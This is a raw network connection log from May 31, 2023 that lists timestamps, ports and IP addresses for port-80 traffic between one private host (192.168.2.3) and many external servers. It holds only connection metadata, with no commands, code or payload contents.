May 31, 2023 14:50:16.974970102 CEST	80	49806	192.252.154.18	192.168.2.3
May 31, 2023 14:50:16.975121021 CEST	49806	80	192.168.2.3	192.252.154.18
May 31, 2023 14:50:17.030155897 CEST	80	49802	3.19.116.195	192.168.2.3
May 31, 2023 14:50:17.030210972 CEST	80	49802	3.19.116.195	192.168.2.3
May 31, 2023 14:50:17.030340910 CEST	49802	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:17.031429052 CEST	80	49804	3.19.116.195	192.168.2.3
May 31, 2023 14:50:17.034889936 CEST	49804	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:17.035960913 CEST	49805	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:17.036613941 CEST	49806	80	192.168.2.3	192.252.154.18
May 31, 2023 14:50:17.062364101 CEST	49802	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:17.072752953 CEST	80	49805	81.2.194.241	192.168.2.3
May 31, 2023 14:50:17.090812922 CEST	49804	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:17.092195034 CEST	80	49805	81.2.194.241	192.168.2.3
May 31, 2023 14:50:17.092276096 CEST	49805	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:17.134712934 CEST	80	49806	192.252.154.18	192.168.2.3
May 31, 2023 14:50:17.136321068 CEST	80	49806	192.252.154.18	192.168.2.3
May 31, 2023 14:50:17.138782024 CEST	49806	80	192.168.2.3	192.252.154.18
May 31, 2023 14:50:17.214401007 CEST	49809	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:17.214507103 CEST	49810	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:17.217159033 CEST	80	49802	3.19.116.195	192.168.2.3
May 31, 2023 14:50:17.223479033 CEST	49805	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:17.245640993 CEST	80	49804	3.19.116.195	192.168.2.3
May 31, 2023 14:50:17.245668888 CEST	80	49804	3.19.116.195	192.168.2.3
May 31, 2023 14:50:17.245745897 CEST	49804	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:17.249001980 CEST	49804	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:17.274658918 CEST	80	49805	81.2.194.241	192.168.2.3
May 31, 2023 14:50:17.275371075 CEST	49805	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:17.335448027 CEST	80	49773	93.187.206.66	192.168.2.3
May 31, 2023 14:50:17.338826895 CEST	49773	80	192.168.2.3	93.187.206.66
May 31, 2023 14:50:17.403939962 CEST	80	49804	3.19.116.195	192.168.2.3
May 31, 2023 14:50:17.407305956 CEST	49811	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:17.470233917 CEST	49812	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:17.472331047 CEST	49813	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:17.482844114 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:17.489165068 CEST	80	49809	202.254.236.40	192.168.2.3
May 31, 2023 14:50:17.489254951 CEST	49809	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:17.489897966 CEST	49809	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:17.489969015 CEST	80	49812	188.165.133.163	192.168.2.3
May 31, 2023 14:50:17.490081072 CEST	49812	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:17.490350008 CEST	49812	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:17.495585918 CEST	49815	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:17.495748043 CEST	49816	80	192.168.2.3	193.166.255.171
May 31, 2023 14:50:17.497416973 CEST	49817	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:17.499599934 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:17.499735117 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:17.500015974 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:17.503334045 CEST	80	49799	82.201.61.230	192.168.2.3
May 31, 2023 14:50:17.503424883 CEST	49799	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:17.510281086 CEST	80	49812	188.165.133.163	192.168.2.3
May 31, 2023 14:50:17.510350943 CEST	80	49812	188.165.133.163	192.168.2.3
May 31, 2023 14:50:17.510443926 CEST	49812	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:17.511265993 CEST	80	49810	60.43.154.138	192.168.2.3
May 31, 2023 14:50:17.511368990 CEST	49810	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:17.512228012 CEST	80	49815	188.114.96.7	192.168.2.3
May 31, 2023 14:50:17.512336969 CEST	49815	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:17.516767025 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:17.528784990 CEST	49810	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:17.531337023 CEST	49815	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:17.532313108 CEST	49812	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:17.535965919 CEST	80	49817	185.80.51.179	192.168.2.3
May 31, 2023 14:50:17.536871910 CEST	49817	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:17.537313938 CEST	49817	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:17.548018932 CEST	80	49815	188.114.96.7	192.168.2.3
May 31, 2023 14:50:17.552522898 CEST	80	49812	188.165.133.163	192.168.2.3
May 31, 2023 14:50:17.552628994 CEST	49812	80	192.168.2.3	188.165.133.163
May 31, 2023 14:50:17.564528942 CEST	80	49811	3.19.116.195	192.168.2.3
May 31, 2023 14:50:17.564656973 CEST	49811	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:17.572674990 CEST	49818	80	192.168.2.3	99.84.88.20
May 31, 2023 14:50:17.575745106 CEST	80	49817	185.80.51.179	192.168.2.3
May 31, 2023 14:50:17.576275110 CEST	80	49817	185.80.51.179	192.168.2.3
May 31, 2023 14:50:17.579397917 CEST	49817	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:17.585715055 CEST	49811	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:17.587284088 CEST	80	49818	99.84.88.20	192.168.2.3
May 31, 2023 14:50:17.588625908 CEST	49818	80	192.168.2.3	99.84.88.20
May 31, 2023 14:50:17.588992119 CEST	49818	80	192.168.2.3	99.84.88.20
May 31, 2023 14:50:17.603461981 CEST	80	49818	99.84.88.20	192.168.2.3
May 31, 2023 14:50:17.603761911 CEST	80	49818	99.84.88.20	192.168.2.3
May 31, 2023 14:50:17.603887081 CEST	49818	80	192.168.2.3	99.84.88.20
May 31, 2023 14:50:17.636672020 CEST	49818	80	192.168.2.3	99.84.88.20
May 31, 2023 14:50:17.637001991 CEST	80	49813	69.163.239.62	192.168.2.3
May 31, 2023 14:50:17.639842987 CEST	49813	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:17.651315928 CEST	80	49818	99.84.88.20	192.168.2.3
May 31, 2023 14:50:17.651571989 CEST	80	49818	99.84.88.20	192.168.2.3
May 31, 2023 14:50:17.652105093 CEST	49818	80	192.168.2.3	99.84.88.20
May 31, 2023 14:50:17.654889107 CEST	49817	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:17.655121088 CEST	49813	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:17.674223900 CEST	49775	80	192.168.2.3	137.118.26.67
May 31, 2023 14:50:17.694019079 CEST	80	49817	185.80.51.179	192.168.2.3
May 31, 2023 14:50:17.694093943 CEST	49817	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:17.740717888 CEST	80	49811	3.19.116.195	192.168.2.3
May 31, 2023 14:50:17.740746975 CEST	80	49811	3.19.116.195	192.168.2.3
May 31, 2023 14:50:17.740891933 CEST	49811	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:17.763679028 CEST	80	49815	188.114.96.7	192.168.2.3
May 31, 2023 14:50:17.763775110 CEST	80	49815	188.114.96.7	192.168.2.3
May 31, 2023 14:50:17.763859987 CEST	49815	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:17.765003920 CEST	80	49809	202.254.236.40	192.168.2.3
May 31, 2023 14:50:17.766211987 CEST	80	49809	202.254.236.40	192.168.2.3
May 31, 2023 14:50:17.766316891 CEST	49809	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:17.777565002 CEST	49811	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:17.819890976 CEST	80	49813	69.163.239.62	192.168.2.3
May 31, 2023 14:50:17.820111036 CEST	80	49813	69.163.239.62	192.168.2.3
May 31, 2023 14:50:17.824810028 CEST	49813	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:17.825412989 CEST	80	49810	60.43.154.138	192.168.2.3
May 31, 2023 14:50:17.826323032 CEST	80	49810	60.43.154.138	192.168.2.3
May 31, 2023 14:50:17.826414108 CEST	49810	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:17.920456886 CEST	49809	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:17.921240091 CEST	49815	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:17.929194927 CEST	49813	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:17.932780981 CEST	80	49811	3.19.116.195	192.168.2.3
May 31, 2023 14:50:17.937877893 CEST	80	49815	188.114.96.7	192.168.2.3
May 31, 2023 14:50:17.939747095 CEST	49810	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:17.947988033 CEST	49819	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:17.979995012 CEST	49820	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:17.983103037 CEST	49821	80	192.168.2.3	46.242.238.60
May 31, 2023 14:50:18.004336119 CEST	80	49820	217.19.237.54	192.168.2.3
May 31, 2023 14:50:18.004447937 CEST	49820	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:18.014137030 CEST	80	49821	46.242.238.60	192.168.2.3
May 31, 2023 14:50:18.014336109 CEST	49821	80	192.168.2.3	46.242.238.60
May 31, 2023 14:50:18.019380093 CEST	49822	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:18.019460917 CEST	49820	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:18.019675970 CEST	49821	80	192.168.2.3	46.242.238.60
May 31, 2023 14:50:18.043874979 CEST	80	49820	217.19.237.54	192.168.2.3
May 31, 2023 14:50:18.045249939 CEST	80	49820	217.19.237.54	192.168.2.3
May 31, 2023 14:50:18.045360088 CEST	49820	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:18.048512936 CEST	80	49815	188.114.96.7	192.168.2.3
May 31, 2023 14:50:18.048540115 CEST	80	49815	188.114.96.7	192.168.2.3
May 31, 2023 14:50:18.048613071 CEST	49815	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:18.050582886 CEST	80	49821	46.242.238.60	192.168.2.3
May 31, 2023 14:50:18.050663948 CEST	49815	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:18.051306963 CEST	80	49822	213.186.33.17	192.168.2.3
May 31, 2023 14:50:18.051440001 CEST	49822	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:18.053039074 CEST	80	49821	46.242.238.60	192.168.2.3
May 31, 2023 14:50:18.053149939 CEST	49821	80	192.168.2.3	46.242.238.60
May 31, 2023 14:50:18.067181110 CEST	49822	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:18.073776007 CEST	80	49819	108.167.164.216	192.168.2.3
May 31, 2023 14:50:18.073863983 CEST	49819	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:18.093961000 CEST	80	49813	69.163.239.62	192.168.2.3
May 31, 2023 14:50:18.094229937 CEST	80	49813	69.163.239.62	192.168.2.3
May 31, 2023 14:50:18.094300985 CEST	49813	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:18.102256060 CEST	80	49822	213.186.33.17	192.168.2.3
May 31, 2023 14:50:18.102282047 CEST	80	49822	213.186.33.17	192.168.2.3
May 31, 2023 14:50:18.102302074 CEST	80	49822	213.186.33.17	192.168.2.3
May 31, 2023 14:50:18.102368116 CEST	49822	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:18.102401018 CEST	49822	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:18.139235973 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.139302015 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.139344931 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.139359951 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.139360905 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.139386892 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.139422894 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.139431000 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.139437914 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.139475107 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.139483929 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.139518976 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.139528990 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.139560938 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.139571905 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.139605045 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.139616966 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.139647961 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.139662981 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.139689922 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.139698029 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.139729023 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.139744043 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.139782906 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.173132896 CEST	49823	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:18.180567026 CEST	49819	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:18.196727037 CEST	80	49809	202.254.236.40	192.168.2.3
May 31, 2023 14:50:18.196800947 CEST	49809	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:18.220046997 CEST	49824	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:18.237195015 CEST	80	49810	60.43.154.138	192.168.2.3
May 31, 2023 14:50:18.237272978 CEST	49810	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:18.275635004 CEST	80	49805	81.2.194.241	192.168.2.3
May 31, 2023 14:50:18.275716066 CEST	49805	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:18.288638115 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.288695097 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.288746119 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.288813114 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.288815022 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.288846970 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.288861990 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.288880110 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.288903952 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.288907051 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.288954020 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.288985968 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.289014101 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.289387941 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.289453030 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.289453030 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.289488077 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.289501905 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.289535046 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.289805889 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.289854050 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.289859056 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.289901018 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.289901972 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.289947033 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.289948940 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.289990902 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.290591002 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.290638924 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.290652037 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.290685892 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.290688992 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.290733099 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.290755987 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.290786028 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.291392088 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.291439056 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.291440010 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.291485071 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.291487932 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.291534901 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.291534901 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.291584015 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.292171955 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.292216063 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.292222977 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.292319059 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.306474924 CEST	80	49819	108.167.164.216	192.168.2.3
May 31, 2023 14:50:18.313255072 CEST	80	49819	108.167.164.216	192.168.2.3
May 31, 2023 14:50:18.313359022 CEST	49819	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:18.321762085 CEST	80	49824	192.241.158.94	192.168.2.3
May 31, 2023 14:50:18.321903944 CEST	49824	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:18.322222948 CEST	49824	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:18.419517040 CEST	49819	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:18.423724890 CEST	80	49824	192.241.158.94	192.168.2.3
May 31, 2023 14:50:18.423774958 CEST	80	49824	192.241.158.94	192.168.2.3
May 31, 2023 14:50:18.423847914 CEST	49824	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:18.442593098 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.442656040 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.442704916 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.442748070 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.442785025 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.442821980 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.442840099 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.442867041 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.442913055 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.442934990 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.442955971 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.442981005 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.443012953 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.443015099 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.443078995 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.443718910 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.443768978 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.443809032 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.443818092 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.443849087 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.443866968 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.443886995 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.443933010 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.444475889 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.444524050 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.444556952 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.444586039 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.445272923 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.445306063 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.445336103 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.445365906 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.446048021 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.446057081 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.446114063 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.446122885 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.446157932 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.446163893 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.446199894 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.446208954 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.446264029 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.446954012 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.447005033 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.447042942 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.447046041 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.447056055 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.447089911 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.447093964 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.447143078 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.447626114 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.447673082 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.447705030 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.447717905 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.447755098 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.447762966 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.447802067 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.447824955 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.448390007 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.448436022 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.448462963 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.448476076 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.448482037 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.448518038 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.448525906 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.448571920 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.449230909 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.449255943 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.449275017 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.449295044 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.449296951 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.449332952 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.449332952 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.449577093 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.449989080 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.450014114 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.450032949 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.450052023 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.450059891 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.450078964 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.450114012 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.450551987 CEST	80	49798	135.181.73.98	192.168.2.3
May 31, 2023 14:50:18.450674057 CEST	49798	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:18.450719118 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.450737953 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.450764894 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.450798035 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.451566935 CEST	49824	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:18.452006102 CEST	80	49823	211.1.226.67	192.168.2.3
May 31, 2023 14:50:18.452105999 CEST	49823	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:18.452419043 CEST	49823	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:18.506002903 CEST	49825	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:18.507726908 CEST	49826	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:18.508176088 CEST	49827	80	192.168.2.3	51.79.51.72
May 31, 2023 14:50:18.524194002 CEST	80	49826	172.67.165.62	192.168.2.3
May 31, 2023 14:50:18.524323940 CEST	49826	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:18.525407076 CEST	80	49825	13.248.169.48	192.168.2.3
May 31, 2023 14:50:18.525506973 CEST	49825	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:18.525919914 CEST	49825	80	192.168.2.3	13.248.169.48
May 31, 2023 14:50:18.543128967 CEST	49826	80	192.168.2.3	172.67.165.62
May 31, 2023 14:50:18.545881987 CEST	80	49825	13.248.169.48	192.168.2.3
May 31, 2023 14:50:18.550482988 CEST	80	49819	108.167.164.216	192.168.2.3
May 31, 2023 14:50:18.550578117 CEST	49819	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:18.553168058 CEST	80	49824	192.241.158.94	192.168.2.3
May 31, 2023 14:50:18.553271055 CEST	49824	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:18.559539080 CEST	80	49826	172.67.165.62	192.168.2.3
May 31, 2023 14:50:18.594242096 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.594274998 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.594295979 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.594319105 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.594336987 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.594419956 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.594460011 CEST	49814	80	192.168.2.3	104.21.66.46
May 31, 2023 14:50:18.594616890 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.594638109 CEST	80	49814	104.21.66.46	192.168.2.3
May 31, 2023 14:50:18.594944954 CEST	80	49814	104.21.66.46	192.168.2.3
